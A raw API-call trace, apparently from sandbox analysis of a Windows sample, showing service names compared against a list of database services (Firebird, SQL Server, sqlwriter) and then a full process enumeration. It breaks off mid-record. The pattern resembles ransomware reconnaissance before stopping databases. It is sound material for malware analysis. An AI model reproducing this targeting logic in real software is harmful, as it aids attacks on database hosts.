lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0112.896] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0112.896] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0112.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0112.896] lstrlenW (lpString="LSM") returned 3 [0112.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0112.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0112.896] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0112.896] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0112.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0112.896] lstrlenW (lpString="MpsSvc") returned 6 [0112.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0112.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0112.896] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0112.896] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0112.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0112.896] lstrlenW (lpString="NcbService") returned 10 [0112.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0112.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0112.897] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0112.897] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0112.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0112.897] lstrlenW (lpString="netprofm") returned 8 [0112.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0112.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0112.897] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0112.897] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0112.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0112.897] lstrlenW (lpString="NlaSvc") returned 6 [0112.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0112.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0112.897] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0112.897] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0112.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0112.897] lstrlenW (lpString="nsi") returned 3 [0112.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0112.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0112.897] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0112.897] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0112.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0112.897] lstrlenW (lpString="PcaSvc") returned 6 [0112.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0112.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0112.897] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0112.897] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0112.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0112.898] lstrlenW (lpString="PlugPlay") returned 8 [0112.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0112.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0112.898] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0112.898] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0112.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0112.898] lstrlenW (lpString="Power") returned 5 [0112.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0112.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0112.898] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0112.898] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0112.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0112.898] lstrlenW (lpString="ProfSvc") returned 7 [0112.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0112.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0112.898] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0112.898] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0112.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0112.898] lstrlenW (lpString="RpcEptMapper") returned 12 [0112.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0112.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0112.898] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0112.898] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0112.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0112.898] lstrlenW (lpString="RpcSs") returned 5 [0112.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0112.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0112.898] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0112.898] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0112.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0112.899] lstrlenW (lpString="SamSs") returned 5 [0112.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0112.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0112.899] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0112.899] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0112.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0112.899] lstrlenW (lpString="Schedule") returned 8 [0112.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0112.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0112.899] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0112.899] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0112.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0112.899] lstrlenW (lpString="SecurityHealthService") returned 21 [0112.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0112.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0112.899] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0112.899] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0112.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0112.899] lstrlenW (lpString="SENS") returned 4 [0112.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0112.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0112.899] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0112.899] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0112.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0112.899] lstrlenW (lpString="ShellHWDetection") returned 16 [0112.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0112.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0112.899] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0112.900] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0112.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0112.900] lstrlenW (lpString="Spooler") returned 7 [0112.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0112.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0112.900] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0112.900] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0112.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0112.900] lstrlenW (lpString="sppsvc") returned 6 [0112.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0112.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0112.900] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0112.900] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0112.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0112.900] lstrlenW (lpString="SSDPSRV") returned 7 [0112.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0112.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0112.900] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0112.900] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0112.900] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x617720 | out: hHeap=0x5c0000) returned 1 [0112.900] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0112.906] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.907] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0112.907] lstrlenW (lpString="System") returned 6 [0112.907] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0112.908] lstrlenW (lpString="smss.exe") returned 8 [0112.908] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0112.909] lstrlenW (lpString="csrss.exe") returned 9 [0112.909] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0112.909] lstrlenW (lpString="wininit.exe") returned 11 [0112.909] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0112.910] lstrlenW (lpString="csrss.exe") returned 9 [0112.910] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0112.911] lstrlenW (lpString="winlogon.exe") returned 12 [0112.911] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0112.911] lstrlenW (lpString="services.exe") returned 12 [0112.911] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0112.912] lstrlenW (lpString="lsass.exe") returned 9 [0112.912] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.913] lstrlenW (lpString="svchost.exe") returned 11 [0112.913] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0112.914] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0112.914] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0112.914] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0112.914] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.915] lstrlenW (lpString="svchost.exe") returned 11 [0112.915] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0112.916] lstrlenW (lpString="dwm.exe") returned 7 [0112.916] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.916] lstrlenW (lpString="svchost.exe") returned 11 [0112.916] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.917] lstrlenW (lpString="svchost.exe") returned 11 [0112.917] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.918] lstrlenW (lpString="svchost.exe") returned 11 [0112.918] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.918] lstrlenW (lpString="svchost.exe") returned 11 [0112.918] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.920] lstrlenW (lpString="svchost.exe") returned 11 [0112.920] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.920] lstrlenW (lpString="svchost.exe") returned 11 [0112.921] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.921] lstrlenW (lpString="svchost.exe") returned 11 [0112.921] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.922] lstrlenW (lpString="svchost.exe") returned 11 [0112.922] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.923] lstrlenW (lpString="svchost.exe") returned 11 [0112.923] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0112.923] lstrlenW (lpString="spoolsv.exe") returned 11 [0112.923] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.924] lstrlenW (lpString="svchost.exe") returned 11 [0112.924] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.925] lstrlenW (lpString="svchost.exe") returned 11 [0112.925] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0112.925] lstrlenW (lpString="audiodg.exe") returned 11 [0112.925] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0112.926] lstrlenW (lpString="sihost.exe") returned 10 [0112.926] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.927] lstrlenW (lpString="svchost.exe") returned 11 [0112.927] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0112.927] lstrlenW (lpString="taskhostw.exe") returned 13 [0112.927] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0112.928] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0112.928] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0112.929] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0112.929] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0112.929] lstrlenW (lpString="explorer.exe") returned 12 [0112.929] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0112.930] lstrlenW (lpString="Memory Compression") returned 18 [0112.930] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0112.931] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0112.931] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0112.931] lstrlenW (lpString="SearchUI.exe") returned 12 [0112.931] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0112.932] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0112.932] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0112.933] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0112.933] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0112.933] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0112.933] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0112.934] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0112.934] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0112.935] lstrlenW (lpString="conhost.exe") returned 11 [0112.935] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0112.936] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0112.936] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0112.936] lstrlenW (lpString="upper arc.exe") returned 13 [0112.936] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0112.937] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0112.937] Process32NextW (in: hSnapshot=0x2f4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, 